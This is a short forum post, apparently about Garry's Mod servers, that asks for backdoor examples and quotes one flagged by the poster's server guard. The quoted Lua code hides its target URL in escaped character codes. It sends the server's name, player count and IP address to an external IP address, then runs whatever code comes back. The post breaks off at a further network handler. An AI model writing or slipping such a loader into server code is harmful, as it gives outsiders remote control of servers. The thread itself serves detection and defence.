Examples of Backdoors?

This thread can be referenced perhaps as a information thread so please do contribute any information to further protect us from unwanted backdoors.

I have a personal question as well as a side note, in which i'm led to believe is a backdoor import
My serverguard actually is blocking these runstrings from occurring from what my CMD output is saying.

Quote:timer.Create( "\76\97\117\110\99\104\71\101\116", 23, 0, function() local a = { n = GetHostName(), nb = tostring(#player.GetAll()), i = game.GetIPAddress() } http.Post( "\104\116\116\112\58\47\47\49\52\57\46\50\48\50\46\52\46\50\48\51\47\100\114\97\99\97\117\102\101\117\47\99\111\114\101\47\115\116\97\103\101\50\46\112\104\112", a, function( body, len, MCwqDOnUsGxgtkJHsPCTctdpIweBqvmdYItCxGwQnUWGeGoxwQqzkuOTQTugpGjopDQMkmDxhzemgsJCiabsvQllKFsZmCoBffoprRNzrRLxjvarvcKRTWcDCvDOXRqdWFsowfNOXymgUmyqpihifjLHFowDgMGcrZrOefCcEPiybHOrQVzVflCKAYnGLUJdTbRYguaKjjjlQXCGTcBYoeJOdXvORfRKgJIndIYnShyIfboYeQWtUGiYDDMuJEfQnNdrwcEojdXoflnkcjDXPLVspHNZlSPzGTQcVurfyouDAHNCRrAGcvZsdNrpFhOmaEoWZGcxUwbveOYVfyCiUCBXpTnVabhbGwYGcaeXwfsATqwZPYiJAKHPDULEWSFDoDjrDnoasHBmYXmNVvxvfelJZWnVPTydwIvaWJbpqCCozOcvkzRqDdZCZnyOgXSDFnDCXERohtDHiFctfTJIWJlWWJLdHEGmSkPPPGdXZHEimGBrAkaxUmuRWfUDJBQCMFrClvzlcdtpJVHkgIHaUbSQhNtRpjtbPLDagdmjgGyQBgbIOIJIKBySoSKDcdFROjSVmeesLDjmKkUyTDgEfFwtygXAkCrZLjUXoZqZDzmnJhMDLThQzEkXKhxVKPUvZPsoPJntiAHSHtvtnDjMhuKSBiNlXIHXxalnJzGSaoKIHgbVJlHRFrJhzwsxeavCaHPJhwChKnPstQndbVUGnDNMagkehFHhmwRtTtBDHqVahjeieZPrDDeDKpHSUoZhLRBElciSteTAnXJsXzKAdPdOeLGZaFgMxHqIKyBdDuEQsnjpNUPQJTENEkNFQTroBHWmgypKSUAkhKAVEpLniqbNAOsrIJFkrCwyaMiTGJdOtDJYTulcLnQlbjDKTiUkLqJLcSEJCIxWmgUgBfintZyvicfblZmWpVIsOmbqVzmhGgnimwvFwUbEWgFhfRdvNLOCYQSTpfbWlpeyMAeiufMrlszrkDNYpBAnsthI, code ) RunString(body) end) end)

net.Receive("DailyLoginClaim", function(len, ply)